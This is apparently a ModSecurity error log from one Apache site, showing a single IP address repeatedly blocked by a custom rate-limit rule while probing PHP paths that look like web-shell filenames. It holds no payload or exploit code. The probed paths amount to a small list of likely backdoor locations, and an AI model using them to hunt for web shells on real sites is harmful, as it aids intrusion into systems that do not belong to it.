[Mon Dec 22 21:44:26.034393 2025] [:error] [pid 33471:tid 33483] [client 4.230.34.85:5834] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aUlLOr5BeNE7regJ7ixV3gAAAUk"]
[Mon Dec 22 21:44:26.329039 2025] [:error] [pid 33471:tid 33477] [client 4.230.34.85:5999] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aUlLOr5BeNE7regJ7ixV4AAAAUM"]
[Mon Dec 22 21:44:26.600331 2025] [:error] [pid 58172:tid 58186] [client 4.230.34.85:5840] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aUlLOuSVKDT5jWOcnSUEDgAAAMw"]
[Mon Dec 22 21:44:26.921960 2025] [:error] [pid 58078:tid 58102] [client 4.230.34.85:5825] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nox.php"] [unique_id "aUlLOpWKg9Bf8njHlB5e3QAAABM"]
[Mon Dec 22 21:44:27.237167 2025] [:error] [pid 33535:tid 33541] [client 4.230.34.85:5926] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nox.php"] [unique_id "aUlLO2OCI8D9Xtn-n7TPXgAAAcQ"]
[Mon Dec 22 21:44:27.542456 2025] [:error] [pid 58078:tid 58085] [client 4.230.34.85:5991] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nox.php"] [unique_id "aUlLO5WKg9Bf8njHlB5e3gAAAAI"]
[Mon Dec 22 21:44:28.006977 2025] [:error] [pid 33564:tid 33587] [client 4.230.34.85:5992] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nox.php"] [unique_id "aUlLPASHeG6oLmMnKY7VIgAAAhQ"]
[Mon Dec 22 21:44:28.286939 2025] [:error] [pid 33564:tid 33588] [client 4.230.34.85:5853] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "aUlLPASHeG6oLmMnKY7VIwAAAhU"]
[Mon Dec 22 21:44:28.627273 2025] [:error] [pid 56155:tid 56229] [client 4.230.34.85:5889] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "aUlLPGG8a3wQucsuN67_jwAAA4c"]
[Mon Dec 22 21:44:28.947904 2025] [:error] [pid 56155:tid 56223] [client 4.230.34.85:5910] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "aUlLPGG8a3wQucsuN67_kAAAA4E"]
[Mon Dec 22 21:44:29.241707 2025] [:error] [pid 58172:tid 58187] [client 4.230.34.85:5931] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "aUlLPeSVKDT5jWOcnSUEFAAAAM0"]
[Mon Dec 22 21:44:29.517969 2025] [:error] [pid 56155:tid 56227] [client 4.230.34.85:5872] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aUlLPWG8a3wQucsuN67_kwAAA4U"]
[Mon Dec 22 21:44:29.828977 2025] [:error] [pid 33564:tid 33579] [client 4.230.34.85:5946] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aUlLPQSHeG6oLmMnKY7VJgAAAgw"]
[Mon Dec 22 21:44:30.115617 2025] [:error] [pid 58172:tid 58191] [client 4.230.34.85:5870] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aUlLPuSVKDT5jWOcnSUEGgAAANE"]
[Mon Dec 22 21:44:30.408812 2025] [:error] [pid 58078:tid 58100] [client 4.230.34.85:5908] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/info.php"] [unique_id "aUlLPpWKg9Bf8njHlB5e4QAAABE"]
[Mon Dec 22 21:44:30.684563 2025] [:error] [pid 58172:tid 58181] [client 4.230.34.85:5965] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class9.php"] [unique_id "aUlLPuSVKDT5jWOcnSUEIAAAAMc"]
[Mon Dec 22 21:44:30.976947 2025] [:error] [pid 33440:tid 33448] [client 4.230.34.85:5948] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class9.php"] [unique_id "aUlLPpOsUWKqgxu6QTRBEwAAAQY"]
[Mon Dec 22 21:44:31.259969 2025] [:error] [pid 58078:tid 58104] [client 4.230.34.85:6006] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class9.php"] [unique_id "aUlLP5WKg9Bf8njHlB5e5gAAABU"]
[Mon Dec 22 21:44:31.547929 2025] [:error] [pid 56044:tid 56072] [client 4.230.34.85:5859] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class9.php"] [unique_id "aUlLP-60uUaieriJqP15qgAAAJg"]
[Mon Dec 22 21:44:31.859622 2025] [:error] [pid 33440:tid 33451] [client 4.230.34.85:5761] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/la.php"] [unique_id "aUlLP5OsUWKqgxu6QTRBFAAAAQk"]
[Mon Dec 22 21:44:32.159158 2025] [:error] [pid 33471:tid 33478] [client 4.230.34.85:5963] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/la.php"] [unique_id "aUlLQL5BeNE7regJ7ixV6wAAAUQ"]
[Mon Dec 22 21:44:32.484025 2025] [:error] [pid 58172:tid 58180] [client 4.230.34.85:5918] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/la.php"] [unique_id "aUlLQOSVKDT5jWOcnSUEKgAAAMY"]
[Mon Dec 22 21:44:32.792901 2025] [:error] [pid 58172:tid 58183] [client 4.230.34.85:5777] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/la.php"] [unique_id "aUlLQOSVKDT5jWOcnSUELgAAAMk"]
[Mon Dec 22 21:44:33.105736 2025] [:error] [pid 56044:tid 56061] [client 4.230.34.85:11828] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless11.php"] [unique_id "aUlLQe60uUaieriJqP15qwAAAI0"]
[Mon Dec 22 21:44:33.404262 2025] [:error] [pid 56080:tid 56124] [client 4.230.34.85:6054] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless11.php"] [unique_id "aUlLQZIHT3YJq9hjDc70gAAAAwA"]
[Mon Dec 22 21:44:33.711434 2025] [:error] [pid 33535:tid 33557] [client 4.230.34.85:5762] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless11.php"] [unique_id "aUlLQWOCI8D9Xtn-n7TPaQAAAdQ"]
[Mon Dec 22 21:44:33.992272 2025] [:error] [pid 58078:tid 58098] [client 4.230.34.85:5943] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless11.php"] [unique_id "aUlLQZWKg9Bf8njHlB5e7wAAAA8"]
[Mon Dec 22 21:44:34.404366 2025] [:error] [pid 33564:tid 33579] [client 4.230.34.85:11873] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccou.php"] [unique_id "aUlLQgSHeG6oLmMnKY7VNAAAAgw"]
[Mon Dec 22 21:44:34.686791 2025] [:error] [pid 58078:tid 58094] [client 4.230.34.85:5964] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccou.php"] [unique_id "aUlLQpWKg9Bf8njHlB5e8wAAAAs"]
[Mon Dec 22 21:44:34.969176 2025] [:error] [pid 58078:tid 58087] [client 4.230.34.85:6119] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccou.php"] [unique_id "aUlLQpWKg9Bf8njHlB5e9gAAAAQ"]
[Mon Dec 22 21:44:35.246999 2025] [:error] [pid 33535:tid 33554] [client 4.230.34.85:5846] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccou.php"] [unique_id "aUlLQ2OCI8D9Xtn-n7TPbAAAAdE"]
[Mon Dec 22 21:44:35.550793 2025] [:error] [pid 33535:tid 33539] [client 4.230.34.85:5845] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ton.php"] [unique_id "aUlLQ2OCI8D9Xtn-n7TPbQAAAcI"]
[Mon Dec 22 21:44:35.845400 2025] [:error] [pid 58172:tid 58179] [client 4.230.34.85:5773] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ton.php"] [unique_id "aUlLQ-SVKDT5jWOcnSUEMQAAAMU"]
[Mon Dec 22 21:44:36.175091 2025] [:error] [pid 58078:tid 58083] [client 4.230.34.85:5842] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ton.php"] [unique_id "aUlLRJWKg9Bf8njHlB5e-wAAAAA"]
[Mon Dec 22 21:44:36.446976 2025] [:error] [pid 56044:tid 56064] [client 4.230.34.85:5966] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ton.php"] [unique_id "aUlLRO60uUaieriJqP15sQAAAJA"]
[Mon Dec 22 21:44:36.728232 2025] [:error] [pid 58078:tid 58096] [client 4.230.34.85:5906] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aUlLRJWKg9Bf8njHlB5e_gAAAA0"]
[Mon Dec 22 21:44:37.013597 2025] [:error] [pid 33440:tid 33449] [client 4.230.34.85:5885] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aUlLRZOsUWKqgxu6QTRBGAAAAQc"]
[Mon Dec 22 21:44:37.313946 2025] [:error] [pid 58172:tid 58192] [client 4.230.34.85:5850] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aUlLReSVKDT5jWOcnSUEMwAAANI"]
[Mon Dec 22 21:44:37.622954 2025] [:error] [pid 33471:tid 33488] [client 4.230.34.85:5884] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/403.php"] [unique_id "aUlLRb5BeNE7regJ7ixV7gAAAU4"]
[Mon Dec 22 21:44:37.899655 2025] [:error] [pid 56044:tid 56059] [client 4.230.34.85:5911] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aUlLRe60uUaieriJqP15swAAAIs"]
[Mon Dec 22 21:44:38.193260 2025] [:error] [pid 33535:tid 33549] [client 4.230.34.85:5905] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aUlLRmOCI8D9Xtn-n7TPbgAAAcw"]
[Mon Dec 22 21:44:38.485015 2025] [:error] [pid 33535:tid 33546] [client 4.230.34.85:5843] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aUlLRmOCI8D9Xtn-n7TPcAAAAck"]
[Mon Dec 22 21:44:38.767250 2025] [:error] [pid 58078:tid 58091] [client 4.230.34.85:6004] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file9.php"] [unique_id "aUlLRpWKg9Bf8njHlB5fBAAAAAg"]
[Mon Dec 22 21:44:39.098416 2025] [:error] [pid 58078:tid 58083] [client 4.230.34.85:6005] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ac.php"] [unique_id "aUlLR5WKg9Bf8njHlB5fBgAAAAA"]
[Mon Dec 22 21:44:39.387782 2025] [:error] [pid 33564:tid 33573] [client 4.230.34.85:5841] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ac.php"] [unique_id "aUlLRwSHeG6oLmMnKY7VNQAAAgY"]
[Mon Dec 22 21:44:39.729490 2025] [:error] [pid 56155:tid 56239] [client 4.230.34.85:5877] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ac.php"] [unique_id "aUlLR2G8a3wQucsuN67_pQAAA5E"]
[Mon Dec 22 21:44:40.056338 2025] [:error] [pid 56044:tid 56071] [client 4.230.34.85:6103] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ac.php"] [unique_id "aUlLSO60uUaieriJqP15tQAAAJc"]
[Mon Dec 22 21:44:40.338018 2025] [:error] [pid 56080:tid 56148] [client 4.230.34.85:5858] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aUlLSJIHT3YJq9hjDc70ggAAAxg"]
[Mon Dec 22 21:44:40.622826 2025] [:error] [pid 56044:tid 56068] [client 4.230.34.85:6000] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aUlLSO60uUaieriJqP15tgAAAJQ"]
[Mon Dec 22 21:44:40.912505 2025] [:error] [pid 33471:tid 33480] [client 4.230.34.85:5892] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aUlLSL5BeNE7regJ7ixV8AAAAUY"]
[Mon Dec 22 21:44:41.195562 2025] [:error] [pid 58172:tid 58183] [client 4.230.34.85:5827] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new4.php"] [unique_id "aUlLSeSVKDT5jWOcnSUENAAAAMk"]
[Mon Dec 22 21:44:41.480417 2025] [:error] [pid 33471:tid 33478] [client 4.230.34.85:5940] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pop.php"] [unique_id "aUlLSb5BeNE7regJ7ixV8gAAAUQ"]
[Mon Dec 22 21:44:41.765213 2025] [:error] [pid 33472:tid 33517] [client 4.230.34.85:5833] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pop.php"] [unique_id "aUlLSZ5p2WQpPIK8HAlAbgAAAZA"]
[Mon Dec 22 21:44:42.069073 2025] [:error] [pid 33471:tid 33486] [client 4.230.34.85:5901] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pop.php"] [unique_id "aUlLSr5BeNE7regJ7ixV9AAAAUw"]
[Mon Dec 22 21:44:42.396691 2025] [:error] [pid 33471:tid 33483] [client 4.230.34.85:5947] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pop.php"] [unique_id "aUlLSr5BeNE7regJ7ixV9gAAAUk"]
[Mon Dec 22 21:44:42.687873 2025] [:error] [pid 33440:tid 33460] [client 4.230.34.85:5878] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/az.php"] [unique_id "aUlLSpOsUWKqgxu6QTRBHQAAARI"]
